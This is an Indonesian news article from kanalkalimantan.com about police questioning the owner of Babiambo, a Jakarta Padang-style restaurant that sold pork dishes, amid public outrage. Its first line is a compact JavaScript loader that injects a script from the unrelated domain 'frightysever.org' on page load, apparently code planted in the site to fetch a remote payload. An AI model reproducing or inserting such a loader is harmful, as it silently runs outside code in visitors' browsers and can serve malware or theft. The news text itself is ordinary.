(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Polisi membawa pemilik restoran Padang Babiambo yang menjual rendang daging babi di Kelapa Gading, Jakarta Timur. Dia bawa ke kantor polisi untuk dimintai keterangan.
“Iya sudah dibawa ke Polsek untuk dimintai keterangan,” kata Kapolsek Kelapa Gading Kompol Vokky Sagala saat dikonfirmasi, Jumat (10/6/2022).
Jagat media sosial sempat digegerkan oleh beredarnya foto menu nasi babi yang dijual di gerai restoran Padang bernama Babiambo ini.
Banyak kalangan menilai menjual aneka olahan daging babi di rumah makan Padang adalah bentuk penghinaan.
Baca juga : Aksi Tanam Pohon di Kawasan Pasar Sanjaya Kuala Kapuas
Untuk diketahui, rumah makan Padang lazimnya tidak menjual lauk berbahan dasar daging babi.
Dikutip dari SuaraSumbar.id pada Jumat (10/5/2022) restoran Padang Babiambo ini menjual bermacam menu olahan daging babi.
Misalnya rams sepsial babiambo yang terdiri dari nasi putih, babi gulai, babi rendang, sayung singkong dan sambal. Menu itu dihargai Rp48 ribu seporsi. Ada pula menu nasi babi bakar yang dihargai Rp 36 ribu. Selain itu, ada nasi babi rendang yang dijual seharga Rp40 ribu.
Ketua DPRD Kab Solok Dodi Hendra pun mengecam rumah makan Padang bernama Babiambo tersebut. Ia mengatakan, rumah makan itu sama saja menghina masyarakat Sumatra Barat.
Baca juga : Digempur Era Digital, Taman Bacaan Ini Masih Bertahan dengan Buku Cerita Bergambar
“Saya selaku masyarakat Sumatera Barat tidak terima dengan adanya rumah makan Padang yang menjual babi” ujar Dodi Hendra.
Dodi menegaskan pada dasarnya tidak mempermasalahkan rumah makan yang menjual masakan aneka olahan daging babi, asalkan tidak memakai embel-embel ‘Padang’.
“Saya meminta Pemprov DKI Jakarta untuk bertindak serta mencabut izin rumah makan itu,” tegasnya.
Usai viral, pemilik usaha nasi Padang babi, Sergio, mengaku kaget. Menurutnya, bisnis tersebut telah lama tidak beroperasi.
Baca juga : Diskominfo Kapuas Minta Warnet Memblokir Konten Dewasa untuk Anak-anak
“Saya juga kaget (usahanya viral),” kata Sergio, Jumat (10/6/2022).
Ia menjelaskan bahwa usaha tersebut dimulai saat pandemi Corona atau awal 2020. Dia menyebut usahanya itu hanya berjalan sekitar 3 bulan.
“Sebelum Covid-19 belum. Sebenarnya akhir 2019, awal 2020. Jadi memang 3 bulannya sekitaran di situ. Belum lockdown sepertinya,” terang Sergio.
Untuk diketahui, gara-gara usaha tersebut, Sergio dibawa ke Polsek Kelapa Gading Jakarta untuk dimintai keterangan oleh pihak kepolisian.
Tak hanya itu, Sergio juga telah dipanggil oleh pihak kelurahan, kecamatan, dan Dinas Perindustrian Perdagangan DKI untuk membahas usaha kuliner tersebut. (Suara.com)
Editor : kk
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.